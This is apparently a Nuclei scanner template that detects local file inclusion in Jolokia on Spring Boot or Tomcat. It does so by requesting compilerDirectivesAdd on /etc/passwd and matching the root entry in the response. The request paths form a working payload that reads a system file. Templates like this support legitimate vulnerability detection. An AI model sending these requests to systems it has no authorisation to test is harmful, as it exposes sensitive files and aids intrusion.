id: jolokia-unauthenticated-lfi

info:
  name: Jolokia - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: Jolokia is vulnerable to local file inclusion via compilerDirectivesAdd.
  reference:
    - https://thinkloveshare.com/hacking/ssrf_to_rce_with_jolokia_and_mbeans/
    - https://github.com/laluka/jolokia-exploitation-toolkit
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 2
  tags: jolokia,springboot,tomcat,lfi,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd"
      - "{{BaseURL}}/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "compilerDirectivesAdd"
        condition: and

      - type: status
        status:
          - 200

# digest: 4b0a004830460221009a77b8b7f8d4e71acc85a0418bbeaa1ae6c6c3c8b46baccd530818f17fe507d7022100a407f15f00eb782bac4e78b80121212493bf594ee18591b8b61b01979a86adbb:922c64590222798bb761d5b6d8e72950
